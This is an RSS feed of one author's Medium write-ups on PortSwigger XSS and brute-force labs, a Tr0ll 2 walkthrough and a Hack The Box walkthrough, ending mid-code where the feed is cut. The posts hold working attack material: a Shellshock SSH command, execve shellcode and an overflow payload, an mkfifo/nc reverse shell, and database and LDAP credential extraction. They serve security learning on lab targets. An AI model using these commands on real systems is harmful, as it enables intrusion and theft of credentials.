<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Irfan on Medium]]></title>
        <description><![CDATA[Stories by Irfan on Medium]]></description>
        <link>https://medium.com/@mr.muhammedirfan?source=rss-6b4991298c3f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*C77iBCeQeY4hxGU_HfS4kA.jpeg</url>
            <title>Stories by Irfan on Medium</title>
            <link>https://medium.com/@mr.muhammedirfan?source=rss-6b4991298c3f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 13:42:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mr.muhammedirfan/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lab : Stored XSS into HTML context with nothing encoded | PortSwigger Web Security Academy]]></title>
            <link>https://medium.com/@mr.muhammedirfan/lab-stored-xss-into-html-context-with-nothing-encoded-portswigger-web-security-academy-6cc4ceeca1e7?source=rss-6b4991298c3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/6cc4ceeca1e7</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Irfan]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 08:55:09 GMT</pubDate>
            <atom:updated>2026-11-16T09:32:14.407Z</atom:updated>
            <content:encoded><![CDATA[<p>Lab Name: Stored XSS<br>Category: Cross-Site Scripting (XSS)<br>Difficulty: Apprentice<br>Vulnerability: Stored Cross-Site Scripting (Stored XSS)<br>Tools Used: Burp Suite, Web Browser<br>Primary Technique: Persistent JavaScript Injection<br>Payload Used: &lt;script&gt;alert(1)&lt;/script&gt;<br>Impact: Persistent JavaScript execution in visitors&#39; browsers</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*ElOkt3IxA1HGgoFJ17zZYA.png" /></figure><p><strong>Author’s Note:</strong></p><p>This lab demonstrates a Stored Cross-Site Scripting vulnerability where malicious JavaScript is submitted through an input field and stored by the application. Unlike reflected XSS, the injected payload remains stored on the server and executes whenever a user visits the affected page.</p><h4>Lab Description</h4><p>This lab demonstrates a stored cross-site scripting vulnerability in the comment functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7dpxoKMrp4qBRaZQ8We7Qg.png" /></figure><p>To solve the lab, submit a comment that calls the alert function when the blog post is viewed.</p><h4><strong>What is XSS?</strong></h4><p>Cross-site scripting is a vulnerability where an attacker manages to run their own JavaScript inside someone else’s browser, on a website that the victim trusts. The script runs with the same privileges as the real website, so it can read the page, read cookies (if they are not protected), make requests as the logged-in user, and change what the user sees.</p><h4>Step-by-Step Walkthrough</h4><p><strong>Step 1 </strong>— Launch the lab</p><p>Log in to the Web Security Academy, open the lab page and click “Access the lab”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XYi7grWLC0YwpgLErEGSQg.png" /><figcaption>blog</figcaption></figure><p><strong>Step 2</strong> — Find the input that gets stored</p><p>I clicked “View post” on any blog post and scrolled down. At the bottom there is a comment form with four fields:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YyTPadwsRQDnO1V6JYpIkw.png" /><figcaption>comment section</figcaption></figure><p>Payload</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><blockquote>&lt;: Starts an HTML tag.<br>script: Defines a JavaScript block in HTML.<br>&gt;: Closes the opening script tag.<br>alert: JavaScript function that displays a popup message.<br>(1): Passes 1 as the message to display.<br>&lt;/script&gt;: Closes the script tag.</blockquote><p>Then clicked Post Comment.</p><p>The site accepted it and redirected me back to the blog post. Nothing looked broken — the comment area just appeared empty, because a &lt;script&gt; tag is invisible on the page.</p><p>Step 5 — Trigger the payload</p><p>I clicked “Back to blog” and then opened the same blog post again.</p><p>An alert box popped up showing 1.</p><p>The lab banner turned green: Congratulations, you solved the lab!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sMYu5iTofFPnyT9yA8X7UQ.png" /><figcaption>final</figcaption></figure><p><strong>Conclusion :</strong></p><p>This lab helped me understand the difference between reflected and stored XSS. Stored XSS is particularly dangerous because the injected script can affect multiple users who access the compromised page, without requiring them to interact with the original malicious input.</p><p>Thankyouu!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6cc4ceeca1e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Reflected XSS into HTML context with nothing encoded]]></title>
            <link>https://medium.com/@mr.muhammedirfan/lab-reflected-xss-into-html-context-with-nothing-encoded-4db939315803?source=rss-6b4991298c3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/4db939315803</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Irfan]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 08:42:44 GMT</pubDate>
            <atom:updated>2026-11-16T09:31:38.162Z</atom:updated>
            <content:encoded><![CDATA[<p>Category: Cross-Site Scripting (XSS)<br>Difficulty: Apprentice<br>Vulnerability: Reflected Cross-Site Scripting<br>Tools Used: Burp Suite, Web Browser<br>Primary Technique: JavaScript Injection<br>Payload Used: &lt;script&gt;alert(1)&lt;/script&gt;<br>Impact: Arbitrary JavaScript execution in the victim’s browser</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*ElOkt3IxA1HGgoFJ17zZYA.png" /></figure><h4><strong>Author’s Note :</strong></h4><p>This lab demonstrates a reflected Cross-Site Scripting (XSS) vulnerability in the search functionality of a web application. The application reflects user-supplied input directly into the HTML response without proper encoding or sanitisation.</p><p>By injecting a JavaScript payload into the search field, we can execute arbitrary JavaScript in the victim&#39;s browser. In this lab, I used a simple &quot;alert()&quot; payload to confirm successful exploitation.</p><h4>Lab Description</h4><p>This lab demonstrate reflected XSS vulnerability in search field. you can add script to make pop alerts.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GLWa0g4oeFZQYSjQyJ4q9A.png" /><figcaption>port swigger</figcaption></figure><p>Explore the Application’s</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P9ZWoMbdNMJMxaQfLdKBPA.png" /><figcaption>blog page</figcaption></figure><p>At the top, there’s a search box</p><p>The search functionality is the key here — it takes your input and displays it back on the page</p><p>The search box is a classic location for reflected XSS because it echoes your search term back to show you what you searched for.</p><p>Craft the XSS Payload</p><p>Since HTML is being rendered, you can inject a &lt;script&gt; tag to execute JavaScript.</p><pre>&lt;script&gt;alert(1)&lt;/script&gt;</pre><blockquote>&lt;script&gt; (Opening HTML Tag).</blockquote><blockquote>alert() (JavaScript Function).</blockquote><blockquote>&#39;1&#39; (String Argument).</blockquote><blockquote>&lt;/script&gt; (Closing HTML Tag).</blockquote><p>This will:</p><p>Create a script tag<br> Execute the JavaScript alert(1) function<br> Show a popup box with the number 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PP2Tpy8OoNtw7UW20khjKQ.png" /><figcaption>alert</figcaption></figure><p>At the top of the page, you’ll see a green banner: “Congratulations, you solved the lab!”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tzp0rx5FNZSLNsP-N1wmNw.png" /><figcaption>final</figcaption></figure><h4>Conclusion:</h4><p>This lab helped me understand how reflected XSS occurs when user input is inserted into an HTML response without proper output encoding.</p><p>It also demonstrated how attackers can inject and execute JavaScript through vulnerable input fields. Proper output encoding and input handling are essential to prevent this type of vulnerability.</p><p><strong>Thankyouuu</strong>!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4db939315803" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lab: Broken brute-force protection, multiple credentials per request in Port Swigger]]></title>
            <link>https://medium.com/@mr.muhammedirfan/lab-broken-brute-force-protection-multiple-credentials-per-request-in-port-swigger-8e8da122158b?source=rss-6b4991298c3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e8da122158b</guid>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[web-pentesting]]></category>
            <dc:creator><![CDATA[Irfan]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 07:17:32 GMT</pubDate>
            <atom:updated>2026-11-16T07:17:32.489Z</atom:updated>
            <content:encoded><![CDATA[<p>Lab Category: Authentication</p><p>Difficulty Level: Expert</p><p>Vulnerability: Broken Brute-Force Protection</p><p>Tool Used: Burp Suite (Repeater)</p><p>Objective: Bypass the brute-force protection mechanism and gain access to the victim&#39;s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*ElOkt3IxA1HGgoFJ17zZYA.png" /></figure><h4><strong>Introduction :</strong></h4><p>In this lab, the application implements a brute-force protection mechanism that allows multiple password attempts to be submitted within a single HTTP request.</p><p>The login request uses a JSON-based format, where the username and password are supplied as key-value pairs. This makes the usual approach of using Burp Suite Intruder to test passwords individually less suitable.</p><p>To bypass this protection, we can modify the request and submit multiple password candidates in a single request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2xAY7I5wxvvLcC4J8nnb4Q.png" /><figcaption>lab page</figcaption></figure><p>First, capture the login request using Burp Suite and send it to the Repeater tab.</p><p>Instead of sending individual password attempts, prepare a list of candidate passwords in JSON array format.</p><p>For example:<br>Place each password inside double quotation marks.<br>Separate individual passwords using commas.<br>Enclose the entire list within square brackets [ ].<br>eg : “Irfan&quot;,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K8THqJbsMu9sS9Q1rdKxnw.png" /><figcaption>Burp suite Reapeter</figcaption></figure><pre>{<br>  &quot;username&quot;: &quot;carlos&quot;,<br>  &quot;password&quot;: &quot;some_password&quot;<br>}<br></pre><p>Replace the original password value with the prepared password array and send the modified request using Burp Suite Repeater.</p><p>Observe the server’s response carefully.<br>In my case, the server returned a 302 Found HTTP response, indicating a redirect. This was a useful indication that one of the password candidates had successfully authenticated.</p><p>Copy the session cookie value from the successful response.</p><p>Next, return to the browser where the PortSwigger lab is running.</p><blockquote>Open the browser’s inspect <br>Navigate to the Storage tab, <br>Open the Cookies section.<br>Replace its existing value with the session cookie copied from Burp Suite.</blockquote><p>Refresh the lab page after updating the session cookie.</p><p>Congratulations! The lab is successfully solved by bypassing the brute-force protection mechanism through multiple credential submissions in a single request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PQVfaTCWhfJ0-cuJqeeYlg.png" /><figcaption>inspect</figcaption></figure><h4>Key Takeaway</h4><p>This lab demonstrates how weak brute-force protection can be bypassed when an application accepts multiple password candidates in a single request.</p><p>Thankyouu!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8e8da122158b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tr0ll 2: From Shellshock to Stack-Based Buffer Overflow — A Detailed Walkthrough]]></title>
            <link>https://medium.com/@mr.muhammedirfan/tr0ll-2-from-shellshock-to-stack-based-buffer-overflow-a-detailed-walkthrough-41355dd9142d?source=rss-6b4991298c3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/41355dd9142d</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[vulnhub-walkthrough]]></category>
            <category><![CDATA[trolls]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <dc:creator><![CDATA[Irfan]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 15:06:34 GMT</pubDate>
            <atom:updated>2026-11-14T06:01:09.864Z</atom:updated>
            <content:encoded><![CDATA[<p>Target: Tr0ll 2 (VulnHub/CTF)<br>Difficulty: Intermediate<br>Key Vulnerabilities: Directory Traversal, Shellshock (CVE-2014–6271), Stack-Based Buffer Overflow</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y0o2f9cKjuSA05EG2Q0epg.png" /><figcaption>Terminal</figcaption></figure><p><strong>Author’s Note :</strong></p><ul><li><em>Recon</em>: Enumerated robots.txt to find hidden directories, revealing a base64-encoded wordlist with an anomalous password string.</li><li><em>Initial Access</em>: Access FTP ( Tr0ll:Tr0ll ) Host id, downloading a locked zip file containing an SSH private key.</li><li><em>Foothold</em>: Bypassed the SSH key’s forced-command restriction by exploiting the Shellshock vulnerability to gain a user shell.</li><li><em>PrivEsc Discovery</em>: Found a hidden directory containing a vulnerable SUID root binary disguised with fake troll reboot mechanisms.</li><li><em>Root</em>: Exploited the SUID binary via a Buffer Overflow (ret2libc) attack to spawn a root shell and capture the flag.</li></ul><h3>Introduction</h3><p>In this walkthrough, we will explore the exploitation chain of the Tr0ll 2 machine. We will start with basic reconnaissance, leverage a cleverly hidden credential to gain initial access via a Shellshock vulnerability, and finally, dive deep into manual stack-based buffer overflow exploitation to achieve root privileges.</p><h4>🔍 Phase 1: <strong>Reconnaissance </strong>&amp; Enumeration</h4><p>We begin with a standard Nmap scan to identify open ports and running services.</p><pre>PORT   STATE SERVICE VERSION<br>21/tcp open  ftp     vsftpd 2.0.8 or later<br>22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)<br>80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))</pre><p>Service Info: Host: Tr0ll; OS: Linux</p><p>With port 80 open, the first step is to check the web server. A quick look at robots.txt reveals a massive list of disallowed directories, clearly designed to frustrate manual enumeration:</p><pre>User-agent:*<br>Disallow:<br>/noob<br>/nope<br>/try_harder<br>/keep_trying<br>...<br>/seriously_stop</pre><p>Instead of checking these manually, we save the paths to paths.txt and use dirb to filter out the ones that actually return a response:</p><p>Dirb Results:</p><pre>+ http://192.168.1.46/noob (CODE:301|SIZE:311)                                <br>+ http://192.168.1.46/keep_trying (CODE:301|SIZE:318)                         <br>+ http://192.168.1.46/dont_bother (CODE:301|SIZE:318)                         <br>+ http://192.168.1.46/ok_this_is_it (CODE:301|SIZE:320) </pre><p>Investigating the /dont_bother directory, we find an image. Running the strings command on it reveals a hidden clue:</p><pre>Look Deep within y0ur_self for the answer</pre><p>Following the hint, we navigate to /y0ur_self and discover an answer.txt file containing a large block of Base64-encoded text.</p><h4>Phase 2: <strong>Initial </strong>Foothold</h4><p>We decode the Base64 text to reveal potential credentials:</p><pre>base64 -d base64.txt &gt; decode.txt<br>cat decode.txt</pre><p>Using the decoded credentials, we log into the FTP service. Inside, we find a password-protected archive named lmao.zip. We download it and use fcrackzip to brute-force the password:</p><pre>fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt lmao.zip</pre><p>Once cracked, we extract the archive to find an SSH private key. The key is named noob.</p><h4>Exploiting Shellshock (CVE-2014–6271)</h4><p>Attempting a standard SSH login fails, but the OpenSSH version is vulnerable to Shellshock. This vulnerability affects GNU Bash and allows remote code execution when untrusted environment variables are passed to a vulnerable Bash interpreter. <br>The flaw occurs because GNU Bash fails to stop parsing text after processing a function definition in an environment variable (using the syntax () { :; };). Any code placed immediately after that string is executed by the shell.<br>We can weaponize this directly through the SSH command:</p><pre>ssh -t -i noob noob@192.168.1.36 -o PubkeyAcceptedKeyTypes=+ssh-rsa &#39;() { :;}; /bin/bash&#39;</pre><p>Boom! We now have a stable shell as the user noob.</p><h4>Phase 3: <strong>Privilege </strong>Escalation via Buffer Overflow</h4><p>With user access secured, we search for SUID binaries owned by root:</p><pre>find / -user root -perm /4000 2&gt;/dev/null</pre><p>We discover a suspicious directory structure:</p><pre>/nothing_to_see_here/choose_wisely/door1/r00t<br>/nothing_to_see_here/choose_wisely/door2/r00t<br>/nothing_to_see_here/choose_wisely/door3/r00t</pre><p>Testing door2/r00t reveals it requires an input argument. Testing door1/r00t in gdb confirms it is vulnerable to a Stack-Based Buffer Overflow.</p><h4>The Theory: <strong>Understanding </strong>the Stack</h4><p>Before we exploit it, let’s briefly review how this works:<br>A buffer overflow occurs when a program writes more data to a buffer (local variable) than it was allocated to hold. Because the stack grows downwards in memory, overflowing a local buffer allows us to overwrite adjacent memory: first the Saved EBP, and critically, the Return Address.<br>When a function is called, a new “stack frame” is created containing:</p><p>Function Arguments<br> Local Variables (where our vulnerable buffer lives)<br> Saved EBP (Base Pointer)<br> Return Address (where the program should go after the function finishes)</p><p>The EIP (Instruction Pointer) register always points to the next instruction the CPU should execute. When a function finishes, it uses the ret instruction, which pops the Return Address off the stack and loads it into EIP. If we control the Return Address, we control EIP, allowing us to hijack execution flow and force the program to run our malicious shellcode.</p><p>What is a NOP Sled?<br>NOP stands for No-Operation. In x86 assembly, it is represented by the hex byte \x90. When the CPU encounters it, it does nothing except move to the next instruction. <br>Even with a precise return address, the stack can shift slightly due to environment variables. By placing a sequence of NOPs (\x90\x90\x90…) right before our shellcode, we create a “landing zone.” If the CPU jumps anywhere into this sled, it will harmlessly “slide” down until it hits our actual shellcode, drastically increasing the exploit’s reliability.</p><p>⚙️ Step-by-Step Exploitation</p><p>Step 1: Generating a Cyclic Pattern<br>Instead of guessing with “A”s, we generate a unique De Bruijn sequence using Metasploit to pinpoint the exact crash location.</p><pre>msf-pattern_create -l 300<br># Output: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1...</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xp4FCinLYPFBKq9DvDt2Xw.png" /></figure><p>Step 2: Catching the Crash in GDB<br>We load the binary into GDB and run it with the pattern as an argument:</p><pre>gdb ./r00t<br>(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9</pre><p>The program receives a SIGSEGV (Segmentation fault). We check the registers:</p><pre>(gdb) i r<br>esp            0xbffffb50       0xbffffb50   <br>eip            0x6a413969       0x6a413969</pre><p>We now know the stack pointer (ESP) is at 0xbffffb50, and EIP was overwritten with 0x6a413969.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4n0O8GVHYqII0hXPNu9rHA.png" /></figure><p>Step 3: Calculating the Exact Offset<br>We feed the overwritten EIP value back into Metasploit to find the exact byte offset:</p><pre>msf-pattern_offset -l 300 -q 0x6a413969<br># [*] Exact match at offset 268</pre><p>We need exactly 268 bytes to reach and overwrite the Return Address (EIP).</p><p>Step 4: Crafting the Payload<br>We need a 32-bit Linux shellcode (since the stack address 0xbffffb50 indicates a 32-bit environment). A classic execve(“/bin/sh”) shellcode will do:</p><pre>&quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MKNL6OrEXobpDMpKq0HtZw.png" /></figure><p>Now, we construct the payload to perfectly hit the 268-byte offset:</p><p>NOP Sled: 200 bytes (\x90 * 200)<br> Shellcode: 23 bytes<br> Padding: 45 bytes of “A” to reach the exact 268-byte mark. (200 + 23 + 45 = 268)<br> Return Address: \x50\xfb\xff\xbf (Little-endian representation of our observed ESP address 0xbffffb50).</p><h4>Phase 4: Root Access</h4><p>We execute the final crafted payload directly in the terminal:</p><pre>./r00t $(python -c &#39;print &quot;\x90&quot;*200 + &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot; + &quot;A&quot;*45 + &quot;\x50\xfb\xff\xbf&quot;&#39;)</pre><p>Instead of a segmentation fault, we are greeted with a root shell!</p><pre># id<br>uid=1002(noob) gid=1002(noob) euid=0(root) groups=0(root),1002(noob)<br><br># whoami<br>root</pre><p>We navigate to the root directory to claim our prize:</p><pre>cd /root<br>cat Proof.txt</pre><p>Output</p><pre>You win this time young Jedi...<br>a70354f0258dcc00292c72aab3c8b1e4 </pre><p><strong><em>Thanks for reading, and happy hacking!</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41355dd9142d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box: Management — Walkthrough (CVE-2026–33439 to Root)]]></title>
            <link>https://medium.com/@mr.muhammedirfan/hack-the-box-management-walkthrough-cve-2026-33439-to-root-cc9c917a6823?source=rss-6b4991298c3f------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc9c917a6823</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[pentesting]]></category>
            <dc:creator><![CDATA[Irfan]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 12:22:06 GMT</pubDate>
            <atom:updated>2026-11-14T10:54:48.600Z</atom:updated>
            <content:encoded><![CDATA[<p>Difficulty: Medium <br>OS: Linux</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kypDZ5lXzMTTrHlBVsIcvQ.png" /></figure><p>Author’s Note :</p><ul><li><em>Recon</em>: Discovered OpenAM 16.0.5 on sso.management.htb and an exposed LDAP service via initial Nmap scan.</li><li><em>Initial Access</em>: Exploited CVE-2026-33439 (JATO deserialization flaw) in OpenAM to gain unauthenticated RCE and a reverse shell.</li><li><em>Credential Hunting</em>: Extracted GLPI database credentials and queried the glpi_authldaps table for an encrypted LDAP bind password.</li><li><em>User Access</em>: Decrypted the GLPI password locally using the server’s glpicrypt.key (libsodium XChaCha20-Poly1305) to reveal the plaintext password, allowing SSH login as owen .</li><li><em>Privilege Escalation</em>: Abused a trailing wildcard ( * ) in sudo permissions for rdiff-backup to inject --restrict-path / , bypassing directory restrictions and dumping /root to capture the flag.</li></ul><h3><strong>Introduction</strong></h3><p>“Management” is a highly educational Linux machine that chains together a cutting-edge pre-authentication Remote Code Execution (RCE) vulnerability with logical privilege escalation paths. The attack surface begins with LDAP enumeration, leading to the discovery of an outdated OpenAM instance. By exploiting a recent Java deserialization regression (CVE-2026–33439), we gain an initial foothold. From there, we pivot through a GLPI database to decrypt an LDAP service password, ultimately leading to a clever rdiff-backup argument injection for root access.</p><p>Link : <a href="https://app.hackthebox.com/machines/Management?sort_by=created_at&amp;sort_type=desc">https://app.hackthebox.com/machines/Management?sort_by=created_at&amp;sort_type=desc</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YDZnyVL33ZhS6JilA4Qj3g.png" /><figcaption>Management HTB</figcaption></figure><h3><strong>1. Reconnaissance</strong></h3><p>Port Scanning<br>We start with a comprehensive Nmap scan to identify open ports and running services.</p><pre>Port 22: OpenSSH 9.6<br>Port 80/443: Nginx (redirects to management.htb)<br>Port 4444: SSL/LDAPS (OpenDJ fingerprint, hostname sso.management.htb)<br>Port 50389: LDAP (Anonymous bind allowed, OpenDJ 5.0.3)</pre><p>PORT STATE SERVICE VERSION</p><pre>PORT      STATE SERVICE     VERSION<br>22/tcp    open  ssh         OpenSSH 9.6p1 Ubuntu 3ubuntu13.19 (Ubuntu Linux; protocol 2.0)<br>80/tcp    open  http        nginx 1.24.0 (Ubuntu)<br>443/tcp   open  ssl/https   nginx/1.24.0 (Ubuntu)<br>| ssl-cert: Subject: commonName=management.htb/organizationName=Management Managed Services Ltd<br>| Subject Alternative Name: DNS:management.htb, DNS:*.management.htb<br>4444/tcp  open  ssl/krb524?<br>| ssl-cert: Subject: commonName=sso.management.htb/organizationName=Administration Connector RSA Self-Signed Certificate<br>50389/tcp open  ldap        (Anonymous bind OK)</pre><p><strong>Hosts File Configuration</strong></p><p>The SSL certificates reveal two crucial hostnames: management.htb and sso.management.htb. We add these to our /etc/hosts file to ensure proper routing.</p><p><strong>LDAP Anonymous Bind Enumeration</strong></p><p><strong>LDAP</strong> (Lightweight Directory Access Protocol) is an open, vendor-neutral application protocol used to locate, manage, and authenticate user and resource information stored in centralized directory services.</p><p>Since port 50389 allows anonymous binds, we query the LDAP server to discover the base naming context:</p><pre>ldapsearch -x -H ldap://&lt;TARGET_IP&gt;:50389 -s base namingcontexts</pre><pre># extended LDIF<br>dn:<br>namingcontexts: dc=management,dc=htb<br># search result<br>result: 0 Success</pre><p><strong>2. Initial Access: </strong>CVE-2026–33439 (OpenAM Pre-Auth RCE)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WCVNcMbQfas3zoPPZCdqSA.png" /></figure><p>Browsing to <a href="https://management.htb/">https://management.htb</a> and clicking “Client Login” redirects us to <a href="https://sso.management.htb/">https://sso.management.htb</a>. Inspecting the page source reveals the software version: OpenAM 16.0.5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EPn4Yt7-cjzB6gYFmHZWlQ.png" /></figure><p><strong>The Vulnerability Explained</strong></p><p>OpenAM 16.0.5 is affected by a critical Pre-authentication Remote Code Execution (RCE) vulnerability (CVE-2026–33439). <br>OpenAM uses the legacy JATO framework for certain UI pages (like the Password Reset page). JATO uses HTTP parameters like jato.pageSession and jato.clientSession to maintain UI state. A previous vulnerability (jato.pageSession) was patched by adding a class whitelist. However, this fix was incomplete. The sibling parameter, jato.clientSession, handled by a separate code path (ClientSession.deserializeAttributes()), was left unprotected. It still uses unsafe Java deserialization, allowing unauthenticated attackers to trigger a gadget chain and achieve RCE.</p><p>More details on CVE :</p><p><a href="https://github.com/TheMalwareGuardian/CVE-2026-33439/blob/main/README.md">CVE-2026-33439/README.md at main · TheMalwareGuardian/CVE-2026-33439</a></p><p><strong>Exploitation</strong></p><p>We target the /openam/ui/PWResetUserValidation endpoint, which is publicly accessible and processes the jato.clientSession parameter. <br>Using a Python Proof of Concept, we attempt to establish a reverse shell. (Note: Standard bash reverse shells may time out due to /bin/sh limitations, so a named pipe mkfifo payload is more reliable).</p><pre>python3 exploit.py --url https://sso.management.htb/openam/ui/PWResetUserValidation &#39;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2&gt;&amp;1|nc &lt;YOUR_IP&gt; 6666 &gt;/tmp/f&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fhGQtYXa6uMr1i2A0cvRpw.png" /></figure><p>We catch the shell on our listener and stabilize it for better interaction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OYUwulIvyB6T3Ytnf_Lsjg.png" /></figure><pre><br>nc -lvnp 6666<br>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;<br>export TERM=xterm</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gOoVJ0JxMD8AJrXFW7N6PQ.png" /></figure><p><strong>3. Privilege Escalation 1: openam → owen</strong></p><p>Basic enumeration reveals a /home/owen directory (currently inaccessible) and two interesting applications installed under /opt: openam and glpi (an IT asset management tool).<br>Discovering GLPI Credentials<br>We inspect the GLPI configuration file and find plaintext database credentials:</p><pre>cat /opt/glpi/config/config_db.php</pre><pre>&lt;?php<br>class DB extends DBmysql {<br>   public $dbhost = &#39;127.0.0.1&#39;;<br>   public $dbuser = &#39;glpi&#39;;<br>   public $dbpassword = &#39;8rhu0L6Pw4Y7&#39;;<br>   public $dbdefault = &#39;glpidb&#39;;<br>   // ...<br>}</pre><p><strong>Extracting the LDAP Bind Password</strong></p><p>GLPI synchronizes its users with an external LDAP directory. The connection settings, including the bind password, are stored in the glpi_authldaps table. We query the database using the credentials we just found:</p><pre>mysql -u glpi -p&#39;8rhu0L6Pw4Y7&#39; -h 127.0.0.1 glpidb -e &quot;SELECT * FROM glpi_authldaps\G&quot;</pre><pre>name: Management Directory<br>rootdn: cn=svc-glpi,ou=services,dc=management,dc=htb<br>rootdn_passwd: avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==</pre><p><strong>Decrypting the GLPI Password</strong></p><p>This password is not hashed; it is encrypted because GLPI needs the plaintext value to authenticate to the LDAP server. GLPI 10.x encrypts this using libsodium’s XChaCha20-Poly1305. The encryption key is stored locally at /opt/glpi/config/glpicrypt.key.</p><pre>php -r &quot;<br>\$key = file_get_contents(&#39;/opt/glpi/config/glpicrypt.key&#39;);<br>\$ciphertext = base64_decode(&#39;avrqW65aZWKzLAKWhPxZGn1eLj3yYAnwUp08mEazsJUWfI5cqbaP6vM12w0p/ykpmyO3Pw==&#39;);<br>\$nonce = substr(\$ciphertext, 0, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);<br>\$data  = substr(\$ciphertext, SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES);<br>\$plain = 